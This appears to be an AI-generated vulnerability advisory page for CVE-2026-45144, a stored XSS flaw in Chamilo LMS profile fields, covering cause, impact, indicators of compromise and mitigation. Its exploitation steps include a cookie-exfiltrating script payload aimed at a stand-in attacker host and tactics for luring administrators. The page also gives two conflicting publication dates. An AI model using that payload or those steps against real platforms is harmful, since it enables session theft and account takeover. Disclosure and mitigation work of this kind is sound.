CVE-2026-45144: 
Chamilo vulnerability analysis and mitigation

Overview

CVE-2026-45144 is a stored cross-site scripting (XSS) vulnerability in Chamilo LMS, an open-source learning management system. It affects versions 2.0.0 up to (but not including) 2.0.1, where the public user profile endpoint GET /user/{username} renders six user-editable fields inside Twig's {% autoescape false %} block without server-side sanitization. The vulnerability was reported by Jan Kahmen of turingpoint, published on October 30, 2026, and fixed in version 2.0.1. It carries a CVSS v3.1 base score of 8.9 (High) (GitHub Advisory).

Technical details

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically the use of Twig's {% autoescape false %} directive in profile.html.twig (lines 4–13) when rendering the firstname, lastname, competences, openarea, teach, and diplomas profile fields, combined with the absence of any server-side sanitization on the write path. An attacker with ROLE_STUDENT privileges can inject arbitrary HTML/JavaScript into these fields via their profile settings; when any user — including administrators — visits the public profile URL, the payload executes in their browser. If self-registration is enabled, an unauthenticated attacker can register a student account and exploit this without any prior credentials. The fix (commit 0ba260a) introduces a $sanitize closure using \Security::remove_XSS($v, STUDENT) in UserController.php and replaces the autoescape false block with explicit |raw filters on pre-sanitized variables (GitHub Advisory, Fix Commit).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of all visitors to the compromised profile page, including platform administrators. This can lead to session token, JWT, or localStorage exfiltration, enabling full account takeover of any user who views the malicious profile. The scope change (CVSS S:C) reflects that the impact extends beyond the attacker's own account to all platform users, with high confidentiality and integrity impact and low availability impact (GitHub Advisory).

Exploitability

No public proof-of-concept exploit code has been identified, and there is no evidence of in-the-wild exploitation at this time (Feedly). The EPSS score is approximately 0.229%, indicating a low current probability of exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. NVD SSVC assessment classifies exploitation as "none" and the attack as non-automatable, as it requires user interaction (a victim visiting the attacker's profile link) (GitHub Advisory).

Exploitation steps

  1. Reconnaissance: Identify a Chamilo LMS 2.0.0 instance. Check whether self-registration is enabled by visiting the registration page; if so, no prior credentials are needed.
  2. Account acquisition: Register a new account (obtaining ROLE_STUDENT) via self-registration, or use existing student credentials.
  3. Inject payload: Navigate to the profile edit page and insert a malicious JavaScript payload (e.g., <script>fetch('https://attacker.com/steal?c='+document.cookie)</script>) into one of the vulnerable fields: competences, openarea, teach, diplomas, firstname, or lastname.
  4. Distribute the profile link: Share the public profile URL (/user/{username}) via forum posts, course announcements, staff onboarding emails, or other in-platform channels to maximize the chance an administrator or privileged user clicks it.
  5. Payload execution: When a victim visits the profile URL, the injected script executes in their browser due to the {% autoescape false %} rendering, exfiltrating session cookies, JWTs, or localStorage tokens to the attacker's server.
  6. Account takeover: Use the exfiltrated credentials or session tokens to authenticate as the victim (including administrators), achieving full account takeover (GitHub Advisory).

Indicators of compromise

  • Network: Outbound HTTP requests from user browsers to unexpected external domains immediately after visiting /user/{username} endpoints; unusual fetch or XMLHttpRequest calls to attacker-controlled infrastructure visible in proxy or WAF logs.
  • Logs: Web server access logs showing repeated GET /user/{username} requests from diverse IPs, potentially indicating link-sharing of a malicious profile; application logs recording profile field updates containing <script>, <img onerror=, or other HTML tags in competences, openarea, teach, diplomas, firstname, or lastname fields.
  • File System / Database: Profile fields in the database containing raw HTML or JavaScript (e.g., <script>, javascript:, onerror=, onload=) for any user account.
  • Process/Session: Unexpected session invalidations or new logins from unfamiliar IP addresses for administrator accounts shortly after visiting a student profile page (GitHub Advisory).

Mitigation and workarounds

The primary remediation is to upgrade Chamilo LMS to version 2.0.1, which sanitizes profile fields using \Security::remove_XSS() on the render path and removes the unsafe {% autoescape false %} Twig block (Chamilo Release, Fix Commit). If immediate patching is not possible, disable self-registration to prevent unauthenticated attackers from obtaining a student account, and restrict access to /user/{username} behind authentication (#[IsGranted('ROLE_USER')]). Additionally, deploying a Web Application Firewall (WAF) rule to detect and block HTML/JavaScript injection in profile fields provides a supplementary layer of defense (GitHub Advisory).

Community reactions

The vulnerability was reported by security researcher Jan Kahmen of turingpoint (GitHub handle: kah-ja) and disclosed via GitHub's security advisory process. The advisory was published by Chamilo maintainer ywarnier on June 23, 2026, and the fix was committed by AngelFQC. No significant broader media coverage or notable social media discussion has been identified beyond standard CVE aggregator coverage (GitHub Advisory).

Additional resources


Source: This report was generated using AI

Related Chamilo vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-61532CRITICAL9
  • Chamilo logoChamilo
  • cpe:2.3:a:chamilo:chamilo_lms
NoYesNov 18, 2026
CVE-2026-61583HIGH8.7
  • Chamilo logoChamilo
  • cpe:2.3:a:chamilo:chamilo_lms
NoYesNov 18, 2026
CVE-2026-61578HIGH7
  • PHP logoPHP
  • chamilo/chamilo-lms
NoYesNov 18, 2026
CVE-2026-61582MEDIUM6.4
  • PHP logoPHP
  • chamilo/chamilo-lms
NoYesNov 18, 2026
CVE-2026-61584MEDIUM5.3
  • Chamilo logoChamilo
  • cpe:2.3:a:chamilo:chamilo_lms
NoYesNov 18, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management